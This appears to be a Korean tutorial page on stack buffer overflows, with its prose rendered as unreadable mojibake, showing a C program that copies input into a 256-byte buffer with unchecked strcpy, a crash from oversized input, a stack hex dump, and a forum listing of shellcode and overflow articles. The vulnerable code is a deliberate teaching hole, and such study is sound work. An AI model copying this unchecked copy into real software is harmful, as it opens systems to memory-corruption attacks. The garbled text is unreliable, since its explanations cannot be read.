river@river:/example$

       <±×¸²16> exam3ÀÇ ½ÇÇàÈ­¸é

ÀÌÁ¦ À§ÀÇ ÇÁ·Î±×·¥¿¡ 300°³ Á¤µµÀÇ ¹®ÀÚ¸¦ ÇѲ¨¹ø¿¡ ³Ö¾îº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù.
river@river:/example$./exam3 12345678901234567890123456789012345678901234567890
1234567890123456789012345678901234567890123456789012345678901234567890123456789
0123456789012345678901234567890123456789012345678901234567890123456789012345678
9012345678901234567890123456789012345678901234567890123456789012345678901234567
8901234567890
1234567890123456789012345678901234567890123456789012345678901234567890123456789
0123456789012345678901234567890123456789012345678901234567890123456789012345678
9012345678901234567890123456789012345678901234567890123456789012345678901234567
890123456789012345678901234567890123456789012345678901234567890
¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù
river@river:/example$

¿¹..»ý°¢Çß´ø´ë·Î Áö¿ªÄ§ÀÔ¿À·ù(¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù)°¡ ¹ß»ýÀ» Çϴ±º¿ä. ¿ì¸®´Â ¾î°¼­ ÀÌ·± °á°ú°¡ ³ª¿À´ÂÁö ¾Õ¿¡¼­ ¹è¿ü½À´Ï´Ù¸¸, È®ÀÎÀ» À§Çؼ­ exam3.cÇÁ·Î±×·¥À» ¼öÁ¤Çؼ­ ½ºÅÃÀÇ ¸ð¾çÀ» ´Ù½ÃÇѹø »ìÆ캸µµ·Ï ÇÏ°Ú½À´Ï´Ù.
       #include <stdio.h>
       #include "dumpcode.h"
       func(char *str)
       {
               char        buf[256];
               
               strcpy(buf, str);
               dumpcode((char *)get_sp(), 300);
               printf("%s\n", buf);
       }

       int main(int argc, char **argv)
       {
               func(argv[1]);
       }

       <¿¹Á¦4> ½ºÅÃÀ» º¸±âÀ§ÇØ ¼öÁ¤µÈ ¼Ò½º exam4.c

½ºÅÃÀÇ ¸ð¾çÀ» ´«À¸·Î º¼¼ö ÀÖµµ·Ï Çϱâ À§Çؼ­ PLUS¿¡¼­ Á¦°øÇÑ dumpcode.h¸¦ ÀÌ¿ëÇؼ­ ½ºÅÃÀÇ ³»¿ëÀ» ÀμâÇϵµ·Ï ¾à°£ ¼öÁ¤Çß½À´Ï´Ù. ÀÌÁ¦ Á¤»óÀûÀÎ °æ¿ì¿Í ºñÁ¤»óÀûÀÎ °æ¿ìÀÇ ½ºÅÃÀÇ ¸ð¾çÀ» »ìÆ캸°Ú½À´Ï´Ù.
river@river:/example$ ./exam4 1234567890
0xbffff9a8  78 86 04 08 a8 f9 ff bf 2c 01 00 00 d0 30 01 40   x.......,....0.@
0xbffff9b8  01 00 00 00 3c db 01 40 e4 37 01 40 31 32 33 34   ....<..@.7.@1234
0xbffff9c8  35 36 37 38 39 30 00 40 00 82 04 08 9b 9a 02 40   567890.@.......@
0xbffff9d8  8c 1c 02 40 f2 06 00 00 bc 1f 02 40 6c ad 01 40   ...@.......@l..@
0xbffff9e8  e0 35 01 40 03 00 00 00 50 38 01 40 01 00 00 00   .5.@....P8.@....
0xbffff9f8  10 fa ff bf 70 81 04 08 d4 32 01 40 0f 53 8e 07   ....p....2.@.S..
0xbffffa08  a4 fa ff bf 59 82 04 08 8c 1c 02 40 e0 35 01 40   ....Y......@.5.@
0xbffffa18  e0 35 01 40 03 00 00 00 50 38 01 40 01 00 00 00   .5.@....P8.@....
0xbffffa28  40 fa ff bf bc ea 01 40 e4 37 01 40 54 ae ad 02   @......@.7.@T...
0xbffffa38  d4 fa ff bf 7d 61 02 40 bc ea 01 40 e0 35 01 40   ....}a.@...@.5.@
0xbffffa48  e0 35 01 40 03 00 00 00 50 38 01 40 01 00 00 00   .5.@....P8.@....
0xbffffa58  a8 fa ff bf 85 9c 00 40 27 fe 00 40 80 38 01 40   .......@'..@.8.@
0xbffffa68  07 00 00 00 47 82 04 08 7c 15 02 40 e0 35 01 40   ....G...|..@.5.@
0xbffffa78  50 c1 06 40 de 9b 00 40 40 97 04 08 30 30 01 40   P..@...@@...00.@
0xbffffa88  13 08 0e 40 85 9c 00 40 d0 35 01 40 b0 38 01 40   ...@...@.5.@.8.@
0xbffffa98  70 81 04 08 4c 97 04 08 59 82 04 08 fa 02 0e 40   p...L...Y......@
0xbffffaa8  40 97 04 08 30 30 01 40 13 08 0e 40 01 00 00 00   @...00.@...@....
0xbffffab8  ec 02 0e 40 d0 30 01 40 e0 fa ff bf e4 fa ff bf   ...@.0.@........
0xbffffac8  ab 86 04 08 68 fc ff
                    ´äº¯/°ü·Ã ¾²±â ¼öÁ¤/»èÁ¦     ÀÌÀü±Û ´ÙÀ½±Û    
¹®¼­¹øÈ£À帣¹®¼­¸íÃâó÷ºÎ
     ÀÌ°÷¿¡¼­´Â ¹öÆÛ¿À¹öÇ÷οì¿Í Æ÷¸Ë½ºÆ®¸µ ¹ö±×¿¡ ´ëÇÑ ¹®¼­µéÀ» Á¦°øÇÕ´Ï´Ù.
92 XSS    XSS È¿À²ÀûÀÎ ¹æ¾î¹ý 3°¡Áö Á¶ÅÂÇü  
91 ¹öÆÛ¿À¹öÇÃ·Î¿ì    ¿À¹öÇÃ·Î¿ì °ø°Ý°ú ¹æ¾î ±èÁøÅà   
90 ½©ÄÚµå    Linux/x86 chroot and standart shellcode Okti  
89 ¹öÆÛ¿À¹öÇÃ·Î¿ì    Àß ¸¸µé¾îÁø ¹öÆÛ¿À¹öÇÃ·Î¿ì ¹®¼­ ¹Ì»ó  
88 ½©ÄÚµå    ³×Æ®¿öÅ© ½©ÄÚµå ¸¸µé±â À̵¿¿ì  
87 ½©ÄÚµå    ¼Ö¶ó¸®½º ¹ÙÀεù ½©ÄÚµå truefinder,  
86 ½©ÄÚµå    bin À» 16Áø¼ö·Î º¯È¯ÇÏ´Â Åø ÇØÄ¿Áî´º½º   
85 ½©ÄÚµå    ½©ÄÚµå »ý¼º±â ÇØÄ¿Áî´º½º   
84 ½©ÄÚµå    FTP ¿ø°Ý ´Ù¿î·Îµå/½ÇÇà ¹ÙÀεù Matt Conover  
83 ½©ÄÚµå    TCP ¹ÙÀεù ½©ÄÚµå Matt Conover   
82 ½©ÄÚµå    Cygnus Win32 À©µµ½© Matt Conover   
81 ½©ÄÚµå    À©µµ¿ë ½©ÄÚµå »ý¼º±â Matt Conover  

 
óÀ½ ÀÌÀü ´ÙÀ½       ¸ñ·Ï ¾²±â